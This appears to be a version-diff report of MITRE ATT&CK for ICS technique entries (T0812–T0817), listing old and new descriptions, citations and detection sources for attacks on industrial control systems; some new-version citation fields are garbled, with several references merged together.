|---|
| modified | 2021-10-08 15:25:32.143000+00:00 | 2022-04-21 22:02:03.847000+00:00 |
| description | Adversaries may leverage manufacturer or supplier set default credentials on control system devices. These default credentials may have administrative permissions and may be necessary for initial configuration of the device. It is general best practice to change the passwords for these accounts as soon as possible, but some manufacturers may have devices that have passwords or usernames that cannot be changed. (Citation: Guidance - NIST SP800-82)
Default credentials are normally documented in an instruction manual that is either packaged with the device, published online through official means, or published online through unofficial means. Adversaries may leverage default credentials that have not been properly modified or disabled. | Adversaries may leverage manufacturer or supplier set default credentials on control system devices. These default credentials may have administrative permissions and may be necessary for initial configuration of the device. It is general best practice to change the passwords for these accounts as soon as possible, but some manufacturers may have devices that have passwords or usernames that cannot be changed. (Citation: Keith Stouffer May 2015) Default credentials are normally documented in an instruction manual that is either packaged with the device, published online through official means, or published online through unofficial means. Adversaries may leverage default credentials that have not been properly modified or disabled. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0812 | https://attack.mitre.org/Technique/T0812 |
| external_references[1]['source_name'] | Guidance - NIST SP800-82 | Keith Stouffer May 2015 |
| external_references[1]['description'] | Keith Stouffer. (2015, May). Guide to Industrial Control Systems (ICS) Security. Retrieved March 28, 2018. | Keith Stouffer 2015, May Guide to Industrial Control Systems (ICS) Security Retrieved. 2018/03/28 |
[T0813] Denial of Control
Current version: 1.0
Version changed from: 0.0 → 1.0
|
|
|---|
| t | Adversaries may cause a denial of control to temporarily pre | t | Adversaries may cause a denial of control to temporarily pre |
| vent operators and engineers from interacting with process c | | vent operators and engineers from interacting with process c |
| ontrols. An adversary may attempt to deny process control ac | | ontrols. An adversary may attempt to deny process control ac |
| cess to cause a temporary loss of communication with the con | | cess to cause a temporary loss of communication with the con |
| trol device or to prevent operator adjustment of process con | | trol device or to prevent operator adjustment of process con |
| trols. An affected process may still be operating during the | | trols. An affected process may still be operating during the |
| period of control loss, but not necessarily in a desired st | | period of control loss, but not necessarily in a desired st |
| ate. (Citation: Reference - Corero) (Citation: Reference - S | | ate. (Citation: Corero) (Citation: Michael J. Assante and Ro |
| ANS - 201510) (Citation: Reference - RIoT) In the Maroochy | | bert M. Lee) (Citation: Tyson Macaulay) In the Maroochy att |
| attack, the adversary was able to temporarily shut an invest | | ack, the adversary was able to temporarily shut an investiga |
| igator out of the network preventing them from issuing any c | | tor out of the network preventing them from issuing any cont |
| ontrols. In the 2017 Dallas Siren incident operators were un | | rols. In the 2017 Dallas Siren incident operators were unab |
| able to disable the false alarms from the Office of Emergenc | | le to disable the false alarms from the Office of Emergency |
| y Management headquarters. | | Management headquarters. (Citation: Mark Loveless April 2017 |
| | | ) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
| external_references | | https://books.google.com/books?id=oXIYBAAAQBAJ&pg=PA249&lpg=PA249&dq=loss+denial+manipulation+of+view&source=bl&ots=dV1uQ8IUff&sig=ACfU3U2NIwGjhg051D_Ytw6npyEk9xcf4w&hl=en&sa=X&ved=2ahUKEwj2wJ7y4tDlAhVmplkKHSTaDnQQ6AEwAHoECAgQAQ#v=onepage&q=loss%20denial%20manipulation%20of%20view&f=false |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-21 16:29:26.506000+00:00 | 2022-04-21 22:02:03.849000+00:00 |
| description | Adversaries may cause a denial of control to temporarily prevent operators and engineers from interacting with process controls. An adversary may attempt to deny process control access to cause a temporary loss of communication with the control device or to prevent operator adjustment of process controls. An affected process may still be operating during the period of control loss, but not necessarily in a desired state. (Citation: Reference - Corero) (Citation: Reference - SANS - 201510) (Citation: Reference - RIoT)
In the Maroochy attack, the adversary was able to temporarily shut an investigator out of the network preventing them from issuing any controls. In the 2017 Dallas Siren incident operators were unable to disable the false alarms from the Office of Emergency Management headquarters. | Adversaries may cause a denial of control to temporarily prevent operators and engineers from interacting with process controls. An adversary may attempt to deny process control access to cause a temporary loss of communication with the control device or to prevent operator adjustment of process controls. An affected process may still be operating during the period of control loss, but not necessarily in a desired state. (Citation: Corero) (Citation: Michael J. Assante and Robert M. Lee) (Citation: Tyson Macaulay) In the Maroochy attack, the adversary was able to temporarily shut an investigator out of the network preventing them from issuing any controls. In the 2017 Dallas Siren incident operators were unable to disable the false alarms from the Office of Emergency Management headquarters. (Citation: Mark Loveless April 2017) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T813 | https://attack.mitre.org/Technique/T813 |
| external_references[1]['source_name'] | Reference - Corero | Corero |
| external_references[1]['description'] | Corero. (n.d.). Industrial Control System (ICS) Security. Retrieved November 4, 2019. | Corero Industrial Control System (ICS) Security Retrieved. 2019/11/04 |
| external_references[1]['url'] | https://www.corero.com/resources/files/whitepapers/cns%20whitepaper%20ics.pdf | https://www.corero.com/resources/files/whitepapers/cns_whitepaper_ics.pdf |
| external_references[2]['source_name'] | Reference - SANS - 201510 | Michael J. Assante and Robert M. Lee |
| external_references[2]['description'] | Michael J. Assante and Robert M. Lee. (n.d.). The Industrial Control System Cyber Kill Chain. Retrieved November 4, 2019. | Michael J. Assante and Robert M. Lee Corero Industrial Control System (ICS) Security Retrieved. 2019/11/04 The Industrial Control System Cyber Kill Chain Retrieved. 2019/11/04 |
| external_references[3]['source_name'] | Reference - RIoT | Tyson Macaulay |
| external_references[3]['description'] | Tyson Macaulay. (n.d.). RIoT Control: Understanding and Managing Risks and the Internet of Things. Retrieved November 4, 2019. | Tyson Macaulay Michael J. Assante and Robert M. Lee Corero Industrial Control System (ICS) Security Retrieved. 2019/11/04 The Industrial Control System Cyber Kill Chain Retrieved. 2019/11/04 RIoT Control: Understanding and Managing Risks and the Internet of Things Retrieved. 2019/11/04 |
| x_mitre_platforms[0] | Windows | None |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Mark Loveless April 2017', 'description': 'Mark Loveless 2017, April 11 THE DALLAS COUNTY SIREN HACK Retrieved. 2020/11/06 ', 'url': 'https://duo.com/decipher/the-dallas-county-siren-hack'} |
[T0814] Denial of Service
Current version: 1.0
Version changed from: 0.0 → 1.0
|
|
|---|
| t | Adversaries may perform Denial-of-Service (DoS) attacks to d | t | Adversaries may perform Denial-of-Service (DoS) attacks to d |
| isrupt expected device functionality. Examples of DoS attack | | isrupt expected device functionality. Examples of DoS attack |
| s include overwhelming the target device with a high volume | | s include overwhelming the target device with a high volume |
| of requests in a short time period and sending the target de | | of requests in a short time period and sending the target de |
| vice a request it does not know how to handle. Disrupting de | | vice a request it does not know how to handle. Disrupting de |
| vice state may temporarily render it unresponsive, possibly | | vice state may temporarily render it unresponsive, possibly |
| lasting until a reboot can occur. When placed in this state, | | lasting until a reboot can occur. When placed in this state, |
| devices may be unable to send and receive requests, and may | | devices may be unable to send and receive requests, and may |
| not perform expected response functions in reaction to othe | | not perform expected response functions in reaction to othe |
| r events in the environment. Some ICS devices are particula | | r events in the environment. Some ICS devices are particula |
| rly sensitive to DoS events, and may become unresponsive in | | rly sensitive to DoS events, and may become unresponsive in |
| reaction to even a simple ping sweep. Adversaries may also a | | reaction to even a simple ping sweep. Adversaries may also a |
| ttempt to execute a Permanent Denial-of-Service (PDoS) again | | ttempt to execute a Permanent Denial-of-Service (PDoS) again |
| st certain devices, such as in the case of the BrickerBot ma | | st certain devices, such as in the case of the BrickerBot ma |
| lware. (Citation: BrickerBot - ICS-CERT - Alert) Adversarie | | lware. (Citation: ICS-CERT April 2017) Adversaries may expl |
| s may exploit a software vulnerability to cause a denial of | | oit a software vulnerability to cause a denial of service by |
| service by taking advantage of a programming error in a prog | | taking advantage of a programming error in a program, servi |
| ram, service, or within the operating system software or ker | | ce, or within the operating system software or kernel itself |
| nel itself to execute adversary-controlled code. Vulnerabili | | to execute adversary-controlled code. Vulnerabilities may e |
| ties may exist in software that can be used to cause a or d | | xist in software that can be used to cause a T1023 or denial |
| enial of service condition. Adversaries may have prior know | | of service condition. Adversaries may have prior knowledge |
| ledge about industrial protocols or control devices used in | | about industrial protocols or control devices used in the e |
| the environment through <span class="smw-format list-format | | nvironment through [Remote System Information Discovery](htt |
| "><span class="smw-row"><span class="smw-field"><span class= | | ps://attack.mitre.org/techniques/T0888). There are examples |
| "smw-value">Control Device Identification</span></span></spa | | of adversaries remotely causing a [Device Restart/Shutdown]( |
| n></span>. There are examples of adversaries remotely causin | | https://attack.mitre.org/techniques/T0816) by exploiting a v |
| g a <span class="smw-format list-format "><span class="smw-r | | ulnerability that induces uncontrolled resource consumption. |
| ow"><span class="smw-field"><span class="smw-value">Device R | | (Citation: ICS-CERT August 2018) (Citation: Common Weakness |
| estart/Shutdown</span></span></span></span> by exploiting a | | Enumeration January 2019) (Citation: MITRE March 2018) In |
| vulnerability that induces uncontrolled resource consumption | | the Maroochy attack, the adversary was able to shut an inves |
| . (Citation: Industroyer - ICS-CERT ADV) (Citation: Industro | | tigator out of the network. (Citation: Marshall Abrams July |
| yer - CWE-400) (Citation: Industroyer - CVE-2015-5374) In t | | 2008) |
| he Maroochy attack, the adversary was able to shut an invest | | |
| igator out of the network. (Citation: Maroochy - MITRE - 200 | | |
| 808) | | |
New Detections:
- DS0015: Application Log (Application Log Content)
- DS0029: Network Traffic (Network Traffic Content)
- DS0029: Network Traffic (Network Traffic Flow)
- DS0040: Operational Databases (Process History/Live Data)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-08 15:25:32.143000+00:00 | 2022-04-21 22:02:03.851000+00:00 |
| description | Adversaries may perform Denial-of-Service (DoS) attacks to disrupt expected device functionality. Examples of DoS attacks include overwhelming the target device with a high volume of requests in a short time period and sending the target device a request it does not know how to handle. Disrupting device state may temporarily render it unresponsive, possibly lasting until a reboot can occur. When placed in this state, devices may be unable to send and receive requests, and may not perform expected response functions in reaction to other events in the environment.
Some ICS devices are particularly sensitive to DoS events, and may become unresponsive in reaction to even a simple ping sweep. Adversaries may also attempt to execute a Permanent Denial-of-Service (PDoS) against certain devices, such as in the case of the BrickerBot malware. (Citation: BrickerBot - ICS-CERT - Alert)
Adversaries may exploit a software vulnerability to cause a denial of service by taking advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Vulnerabilities may exist in software that can be used to cause a or denial of service condition.
Adversaries may have prior knowledge about industrial protocols or control devices used in the environment through Control Device Identification. There are examples of adversaries remotely causing a Device Restart/Shutdown by exploiting a vulnerability that induces uncontrolled resource consumption. (Citation: Industroyer - ICS-CERT ADV) (Citation: Industroyer - CWE-400) (Citation: Industroyer - CVE-2015-5374)
In the Maroochy attack, the adversary was able to shut an investigator out of the network. (Citation: Maroochy - MITRE - 200808) | Adversaries may perform Denial-of-Service (DoS) attacks to disrupt expected device functionality. Examples of DoS attacks include overwhelming the target device with a high volume of requests in a short time period and sending the target device a request it does not know how to handle. Disrupting device state may temporarily render it unresponsive, possibly lasting until a reboot can occur. When placed in this state, devices may be unable to send and receive requests, and may not perform expected response functions in reaction to other events in the environment. Some ICS devices are particularly sensitive to DoS events, and may become unresponsive in reaction to even a simple ping sweep. Adversaries may also attempt to execute a Permanent Denial-of-Service (PDoS) against certain devices, such as in the case of the BrickerBot malware. (Citation: ICS-CERT April 2017) Adversaries may exploit a software vulnerability to cause a denial of service by taking advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Vulnerabilities may exist in software that can be used to cause a T1023 or denial of service condition. Adversaries may have prior knowledge about industrial protocols or control devices used in the environment through [Remote System Information Discovery](https://attack.mitre.org/techniques/T0888). There are examples of adversaries remotely causing a [Device Restart/Shutdown](https://attack.mitre.org/techniques/T0816) by exploiting a vulnerability that induces uncontrolled resource consumption. (Citation: ICS-CERT August 2018) (Citation: Common Weakness Enumeration January 2019) (Citation: MITRE March 2018) In the Maroochy attack, the adversary was able to shut an investigator out of the network. (Citation: Marshall Abrams July 2008) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0814 | https://attack.mitre.org/Technique/T0814 |
| external_references[1]['source_name'] | BrickerBot - ICS-CERT - Alert | ICS-CERT April 2017 |
| external_references[1]['description'] | ICS-CERT. (2017, April 18). CS Alert (ICS-ALERT-17-102-01A) BrickerBot Permanent Denial-of-Service Attack. Retrieved October 24, 2019. | ICS-CERT 2017, April 18 CS Alert (ICS-ALERT-17-102-01A) BrickerBot Permanent Denial-of-Service Attack Retrieved. 2019/10/24 |
| external_references[2]['source_name'] | Maroochy - MITRE - 200808 | ICS-CERT August 2018 |
| external_references[2]['description'] | Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study– Maroochy Water Services, Australia. Retrieved March 27, 2018. | ICS-CERT 2018, August 27 Advisory (ICSA-15-202-01) - Siemens SIPROTEC Denial-of-Service Vulnerability Retrieved. 2019/03/14 |
| external_references[2]['url'] | https://www.mitre.org/sites/default/files/pdf/08%201145.pdf | https://ics-cert.us-cert.gov/advisories/ICSA-15-202-01 |
| external_references[3]['source_name'] | Industroyer - ICS-CERT ADV | Common Weakness Enumeration January 2019 |
| external_references[3]['description'] | ICS-CERT. (2018, August 27). Advisory (ICSA-15-202-01) - Siemens SIPROTEC Denial-of-Service Vulnerability. Retrieved March 14, 2019. | Common Weakness Enumeration 2019, January 03 CWE-400: Uncontrolled Resource Consumption Retrieved. 2019/03/14 |
| external_references[3]['url'] | https://ics-cert.us-cert.gov/advisories/ICSA-15-202-01 | http://cwe.mitre.org/data/definitions/400.html |
| external_references[4]['source_name'] | Industroyer - CWE-400 | MITRE March 2018 |
| external_references[4]['description'] | Common Weakness Enumeration. (2019, January 03). CWE-400: Uncontrolled Resource Consumption. Retrieved March 14, 2019. | MITRE 2018, March 22 CVE-2015-5374 Retrieved. 2019/03/14 |
| external_references[4]['url'] | http://cwe.mitre.org/data/definitions/400.html | https://nvd.nist.gov/vuln/detail/CVE-2015-5374 |
| external_references[5]['source_name'] | Industroyer - CVE-2015-5374 | Marshall Abrams July 2008 |
| external_references[5]['description'] | MITRE. (2018, March 22). CVE-2015-5374. Retrieved March 14, 2019. | Marshall Abrams 2008, July 23 Malicious Control System Cyber Security Attack Case Study Maroochy Water Services, Australia Retrieved. 2018/03/27 |
| external_references[5]['url'] | https://nvd.nist.gov/vuln/detail/CVE-2015-5374 | https://www.mitre.org/sites/default/files/pdf/08_1145.pdf |
[T0815] Denial of View
Current version: 1.0
Version changed from: 0.0 → 1.0
|
|
|---|
| t | Adversaries may cause a denial of view in attempt to disrupt | t | Adversaries may cause a denial of view in attempt to disrupt |
| and prevent operator oversight on the status of an ICS envi | | and prevent operator oversight on the status of an ICS envi |
| ronment. This may manifest itself as a temporary communicati | | ronment. This may manifest itself as a temporary communicati |
| on failure between a device and its control source, where th | | on failure between a device and its control source, where th |
| e interface recovers and becomes available once the interfer | | e interface recovers and becomes available once the interfer |
| ence ceases. (Citation: Reference - Corero) (Citation: Refer | | ence ceases. (Citation: Corero) (Citation: Michael J. Assant |
| ence - SANS - 201510) (Citation: Reference - RIoT) An adve | | e and Robert M. Lee) (Citation: Tyson Macaulay) An adversa |
| rsary may attempt to deny operator visibility by preventing | | ry may attempt to deny operator visibility by preventing the |
| them from receiving status and reporting messages. Denying t | | m from receiving status and reporting messages. Denying this |
| his view may temporarily block and prevent operators from no | | view may temporarily block and prevent operators from notic |
| ticing a change in state or anomalous behavior. The environm | | ing a change in state or anomalous behavior. The environment |
| ent's data and processes may still be operational, but funct | | 's data and processes may still be operational, but function |
| ioning in an unintended or adversarial manner. In the Maroo | | ing in an unintended or adversarial manner. In the Maroochy |
| chy attack, the adversary was able to temporarily shut an in | | attack, the adversary was able to temporarily shut an inves |
| vestigator out of the network, preventing them from viewing | | tigator out of the network, preventing them from viewing the |
| the state of the system. | | state of the system. |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
| external_references | | https://books.google.com/books?id=oXIYBAAAQBAJ&pg=PA249&lpg=PA249&dq=loss+denial+manipulation+of+view&source=bl&ots=dV1uQ8IUff&sig=ACfU3U2NIwGjhg051D_Ytw6npyEk9xcf4w&hl=en&sa=X&ved=2ahUKEwj2wJ7y4tDlAhVmplkKHSTaDnQQ6AEwAHoECAgQAQ#v=onepage&q=loss%20denial%20manipulation%20of%20view&f=false |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-04-21 22:02:03.853000+00:00 |
| description | Adversaries may cause a denial of view in attempt to disrupt and prevent operator oversight on the status of an ICS environment. This may manifest itself as a temporary communication failure between a device and its control source, where the interface recovers and becomes available once the interference ceases. (Citation: Reference - Corero) (Citation: Reference - SANS - 201510) (Citation: Reference - RIoT)
An adversary may attempt to deny operator visibility by preventing them from receiving status and reporting messages. Denying this view may temporarily block and prevent operators from noticing a change in state or anomalous behavior. The environment's data and processes may still be operational, but functioning in an unintended or adversarial manner.
In the Maroochy attack, the adversary was able to temporarily shut an investigator out of the network, preventing them from viewing the state of the system. | Adversaries may cause a denial of view in attempt to disrupt and prevent operator oversight on the status of an ICS environment. This may manifest itself as a temporary communication failure between a device and its control source, where the interface recovers and becomes available once the interference ceases. (Citation: Corero) (Citation: Michael J. Assante and Robert M. Lee) (Citation: Tyson Macaulay) An adversary may attempt to deny operator visibility by preventing them from receiving status and reporting messages. Denying this view may temporarily block and prevent operators from noticing a change in state or anomalous behavior. The environment's data and processes may still be operational, but functioning in an unintended or adversarial manner. In the Maroochy attack, the adversary was able to temporarily shut an investigator out of the network, preventing them from viewing the state of the system. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0815 | https://attack.mitre.org/Technique/T0815 |
| external_references[1]['source_name'] | Reference - Corero | Corero |
| external_references[1]['description'] | Corero. (n.d.). Industrial Control System (ICS) Security. Retrieved November 4, 2019. | Corero Industrial Control System (ICS) Security Retrieved. 2019/11/04 |
| external_references[1]['url'] | https://www.corero.com/resources/files/whitepapers/cns%20whitepaper%20ics.pdf | https://www.corero.com/resources/files/whitepapers/cns_whitepaper_ics.pdf |
| external_references[2]['source_name'] | Reference - SANS - 201510 | Michael J. Assante and Robert M. Lee |
| external_references[2]['description'] | Michael J. Assante and Robert M. Lee. (n.d.). The Industrial Control System Cyber Kill Chain. Retrieved November 4, 2019. | Michael J. Assante and Robert M. Lee Corero Industrial Control System (ICS) Security Retrieved. 2019/11/04 The Industrial Control System Cyber Kill Chain Retrieved. 2019/11/04 |
| external_references[3]['source_name'] | Reference - RIoT | Tyson Macaulay |
| external_references[3]['description'] | Tyson Macaulay. (n.d.). RIoT Control: Understanding and Managing Risks and the Internet of Things. Retrieved November 4, 2019. | Tyson Macaulay Michael J. Assante and Robert M. Lee Corero Industrial Control System (ICS) Security Retrieved. 2019/11/04 The Industrial Control System Cyber Kill Chain Retrieved. 2019/11/04 RIoT Control: Understanding and Managing Risks and the Internet of Things Retrieved. 2019/11/04 |
[T0868] Detect Operating Mode
Current version: 1.0
Version changed from: 0.0 → 1.0
|
|
|---|
| t | Adversaries may gather information about a PLC’s or controll | t | Adversaries may gather information about a PLCs or controlle |
| er’s current operating mode. Operating modes dictate what ch | | rs current operating mode. Operating modes dictate what chan |
| ange or maintenance functions can be manipulated and are oft | | ge or maintenance functions can be manipulated and are often |
| en controlled by a key switch on the PLC (e.g., run, prog [p | | controlled by a key switch on the PLC (e.g., run, prog [pr |
| rogram], and remote). Knowledge of these states may be valua | | ogram], and remote). Knowledge of these states may be valuab |
| ble to an adversary to determine if they are able to reprogr | | le to an adversary to determine if they are able to reprogra |
| am the PLC. Operating modes and the mechanisms by which they | | m the PLC. Operating modes and the mechanisms by which they |
| are selected often vary by vendor and product line. Some co | | are selected often vary by vendor and product line. Some com |
| mmonly implemented operating modes are described below: Prog | | monly implemented operating modes are described below: *Pro |
| ram - This mode must be enabled before changes can be made t | | gram - This mode must be enabled before changes can be made |
| o a device’s program. This allows program uploads and downlo | | to a devices program. This allows program uploads and downlo |
| ads between the device and an engineering workstation. Often | | ads between the device and an engineering workstation. Often |
| the PLC’s logic Is halted, and all outputs may be forced of | | the PLCs logic Is halted, and all outputs may be forced off |
| f. Run - Execution of the device’s program occurs in this mo | | . (Citation: N.A. October 2017) *Run - Execution of the dev |
| de. Input and output (values, points, tags, elements, etc.) | | ices program occurs in this mode. Input and output (values, |
| are monitored and used according to the program’s logic. Pro | | points, tags, elements, etc.) are monitored and used accordi |
| gram Upload and Program Download are disabled while in this | | ng to the programs logic. [Program Upload](https://attack.mi |
| mode. Remote - Allows for remote changes to a PLC’s operatio | | tre.org/techniques/T0845) and [Program Download](https://att |
| n mode. Stop - The PLC and program is stopped, while in this | | ack.mitre.org/techniques/T0843) are disabled while in this m |
| mode, outputs are forced off. Reset - Conditions on the PLC | | ode. (Citation: Omron) (Citation: Machine Information System |
| are reset to their original states. Warm resets may retain | | s 2007) (Citation: N.A. October 2017) (Citation: PLCgurus 2 |
| some memory while cold resets will reset all I/O and data re | | 021) *Remote - Allows for remote changes to a PLCs operati |
| gisters. Test / Monitor mode - Similar to run mode, I/O is p | | on mode. (Citation: PLCgurus 2021) *Stop - The PLC and pr |
| rocessed, although this mode allows for monitoring, force se | | ogram is stopped, while in this mode, outputs are forced off |
| t, resets, and more generally tuning or debugging of the sys | | . (Citation: Machine Information Systems 2007) *Reset - Co |
| tem. Often monitor mode may be used as a trial for initializ | | nditions on the PLC are reset to their original states. Warm |
| ation. | | resets may retain some memory while cold resets will reset |
| | | all I/O and data registers. (Citation: Machine Information S |
| | | ystems 2007) *Test / Monitor mode - Similar to run mode, I |
| | | /O is processed, although this mode allows for monitoring, f |
| | | orce set, resets, and more generally tuning or debugging of |
| | | the system. Often monitor mode may be used as a trial for in |
| | | itialization. (Citation: Omron) |
New Detections:
- DS0029: Network Traffic (Network Traffic Content)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-08 15:25:32.143000+00:00 | 2022-04-21 22:02:03.856000+00:00 |
| description | Adversaries may gather information about a PLC’s or controller’s current operating mode. Operating modes dictate what change or maintenance functions can be manipulated and are often controlled by a key switch on the PLC (e.g., run, prog [program], and remote). Knowledge of these states may be valuable to an adversary to determine if they are able to reprogram the PLC. Operating modes and the mechanisms by which they are selected often vary by vendor and product line. Some commonly implemented operating modes are described below: Program - This mode must be enabled before changes can be made to a device’s program. This allows program uploads and downloads between the device and an engineering workstation. Often the PLC’s logic Is halted, and all outputs may be forced off. Run - Execution of the device’s program occurs in this mode. Input and output (values, points, tags, elements, etc.) are monitored and used according to the program’s logic. Program Upload and Program Download are disabled while in this mode. Remote - Allows for remote changes to a PLC’s operation mode. Stop - The PLC and program is stopped, while in this mode, outputs are forced off. Reset - Conditions on the PLC are reset to their original states. Warm resets may retain some memory while cold resets will reset all I/O and data registers. Test / Monitor mode - Similar to run mode, I/O is processed, although this mode allows for monitoring, force set, resets, and more generally tuning or debugging of the system. Often monitor mode may be used as a trial for initialization. | Adversaries may gather information about a PLCs or controllers current operating mode. Operating modes dictate what change or maintenance functions can be manipulated and are often controlled by a key switch on the PLC (e.g., run, prog [program], and remote). Knowledge of these states may be valuable to an adversary to determine if they are able to reprogram the PLC. Operating modes and the mechanisms by which they are selected often vary by vendor and product line. Some commonly implemented operating modes are described below: *Program - This mode must be enabled before changes can be made to a devices program. This allows program uploads and downloads between the device and an engineering workstation. Often the PLCs logic Is halted, and all outputs may be forced off. (Citation: N.A. October 2017) *Run - Execution of the devices program occurs in this mode. Input and output (values, points, tags, elements, etc.) are monitored and used according to the programs logic. [Program Upload](https://attack.mitre.org/techniques/T0845) and [Program Download](https://attack.mitre.org/techniques/T0843) are disabled while in this mode. (Citation: Omron) (Citation: Machine Information Systems 2007) (Citation: N.A. October 2017) (Citation: PLCgurus 2021) *Remote - Allows for remote changes to a PLCs operation mode. (Citation: PLCgurus 2021) *Stop - The PLC and program is stopped, while in this mode, outputs are forced off. (Citation: Machine Information Systems 2007) *Reset - Conditions on the PLC are reset to their original states. Warm resets may retain some memory while cold resets will reset all I/O and data registers. (Citation: Machine Information Systems 2007) *Test / Monitor mode - Similar to run mode, I/O is processed, although this mode allows for monitoring, force set, resets, and more generally tuning or debugging of the system. Often monitor mode may be used as a trial for initialization. (Citation: Omron) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0868 | https://attack.mitre.org/Technique/T0868 |
| external_references[1]['source_name'] | ForumAutomation PLC Operating Modes October 2017 | N.A. October 2017 |
| external_references[1]['description'] | N.A.. (2017, October). What are the different operating modes in PLC?. Retrieved January 28, 2021. | N.A. 2017, October What are the different operating modes in PLC? Retrieved. 2021/01/28 |
| external_references[2]['source_name'] | Omron PLC Operating Modes | Omron |
| external_references[2]['description'] | Omron. (n.d.). PLC Different Operating Modes. Retrieved January 28, 2021. | Omron N.A. 2017, October What are the different operating modes in PLC? Retrieved. 2021/01/28 PLC Different Operating Modes Retrieved. 2021/01/28 |
| external_references[3]['source_name'] | Machine Information Systems PLCs 2007 | Machine Information Systems 2007 |
| external_references[3]['description'] | Machine Information Systems. (2007). How PLCs Work. Retrieved January 28, 2021. | Machine Information Systems 2007 How PLCs Work Retrieved. 2021/01/28 |
| external_references[4]['source_name'] | PLCgurus PLC Basic 2021 | N.A. October 2017 |
| external_references[4]['description'] | PLCgurus. (2021). PLC Basics – Modes Of Operation. Retrieved January 28, 2021. | N.A. 2017, October What are the different operating modes in PLC? Retrieved. 2021/01/28 |
| external_references[4]['url'] | https://www.plcgurus.net/plc-basics/ | https://forumautomation.com/t/what-are-the-different-operating-modes-in-plc/2489 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'PLCgurus 2021', 'description': 'PLCgurus 2021 PLC Basics Modes Of Operation Retrieved. 2021/01/28 ', 'url': 'https://www.plcgurus.net/plc-basics/'} |
| external_references | | {'source_name': 'PLCgurus 2021', 'description': 'PLCgurus 2021 PLC Basics Modes Of Operation Retrieved. 2021/01/28 ', 'url': 'https://www.plcgurus.net/plc-basics/'} |
| external_references | | {'source_name': 'Machine Information Systems 2007', 'description': 'Machine Information Systems 2007 How PLCs Work Retrieved. 2021/01/28 ', 'url': 'http://www.machine-information-systems.com/How_PLCs_Work.html'} |
| external_references | | {'source_name': 'Machine Information Systems 2007', 'description': 'Machine Information Systems 2007 How PLCs Work Retrieved. 2021/01/28 ', 'url': 'http://www.machine-information-systems.com/How_PLCs_Work.html'} |
| external_references | | {'source_name': 'Omron', 'description': 'Omron Machine Information Systems 2007 How PLCs Work Retrieved. 2021/01/28 PLC Different Operating Modes Retrieved. 2021/01/28 ', 'url': 'https://www.omron-ap.com/service_support/FAQ/FAQ00002/index.asp#:~:text=In%20PROGRAM%20mode%2C%20the%20CPU,can%20be%20created%20or%20modified.'} |
[T0816] Device Restart/Shutdown
Current version: 1.0
Version changed from: 0.0 → 1.0
|
|
|---|
| t | Adversaries may forcibly restart or shutdown a device in an | t | Adversaries may forcibly restart or shutdown a device in an |
| ICS environment to disrupt and potentially negatively impact | | ICS environment to disrupt and potentially negatively impact |
| physical processes. Methods of device restart and shutdown | | physical processes. Methods of device restart and shutdown |
| exist in some devices as built-in, standard functionalities. | | exist in some devices as built-in, standard functionalities. |
| These functionalities can be executed using interactive dev | | These functionalities can be executed using interactive dev |
| ice web interfaces, CLIs, and network protocol commands. Une | | ice web interfaces, CLIs, and network protocol commands. U |
| xpected restart or shutdown of control system devices may pr | | nexpected restart or shutdown of control system devices may |
| event expected response functions happening during critical | | prevent expected response functions happening during critica |
| states. A device restart can also be a sign of malicious dev | | l states. A device restart can also be a sign of malicious |
| ice modifications, as many updates require a shutdown in ord | | device modifications, as many updates require a shutdown in |
| er to take effect. | | order to take effect. |
New Detections:
- DS0015: Application Log (Application Log Content)
- DS0029: Network Traffic (Network Traffic Content)
- DS0040: Operational Databases (Device Alarm)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-08 15:25:32.143000+00:00 | 2022-04-21 22:02:03.856000+00:00 |
| description | Adversaries may forcibly restart or shutdown a device in an ICS environment to disrupt and potentially negatively impact physical processes. Methods of device restart and shutdown exist in some devices as built-in, standard functionalities. These functionalities can be executed using interactive device web interfaces, CLIs, and network protocol commands. Unexpected restart or shutdown of control system devices may prevent expected response functions happening during critical states. A device restart can also be a sign of malicious device modifications, as many updates require a shutdown in order to take effect. | Adversaries may forcibly restart or shutdown a device in an ICS environment to disrupt and potentially negatively impact physical processes. Methods of device restart and shutdown exist in some devices as built-in, standard functionalities. These functionalities can be executed using interactive device web interfaces, CLIs, and network protocol commands. Unexpected restart or shutdown of control system devices may prevent expected response functions happening during critical states. A device restart can also be a sign of malicious device modifications, as many updates require a shutdown in order to take effect. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0816 | https://attack.mitre.org/Technique/T0816 |
[T0817] Drive-by Compromise
Current version: 1.0
Version changed from: 0.0 → 1.0
|
|
|---|
| t | Adversaries may gain access to a system during a drive-by co | t | Adversaries may gain access to a system during a drive-by co |
| mpromise, when a user visits a website as part of a regular | | mpromise, when a user visits a website as part of a regular |
| browsing session.With this technique, the user's web browser | | browsing session.With this technique, the user's web browser |
| is targeted and exploited simply by visiting the compromise | | is targeted and exploited simply by visiting the compromise |
| d website. The adversary may target a specific community, | | d website. The adversary may target a specific community, |
| such as trusted third party suppliers or other industry spec | | such as trusted third party suppliers or other industry spec |
| ific groups, which often visit the target website. This kind | | ific groups, which often visit the target website. This kind |
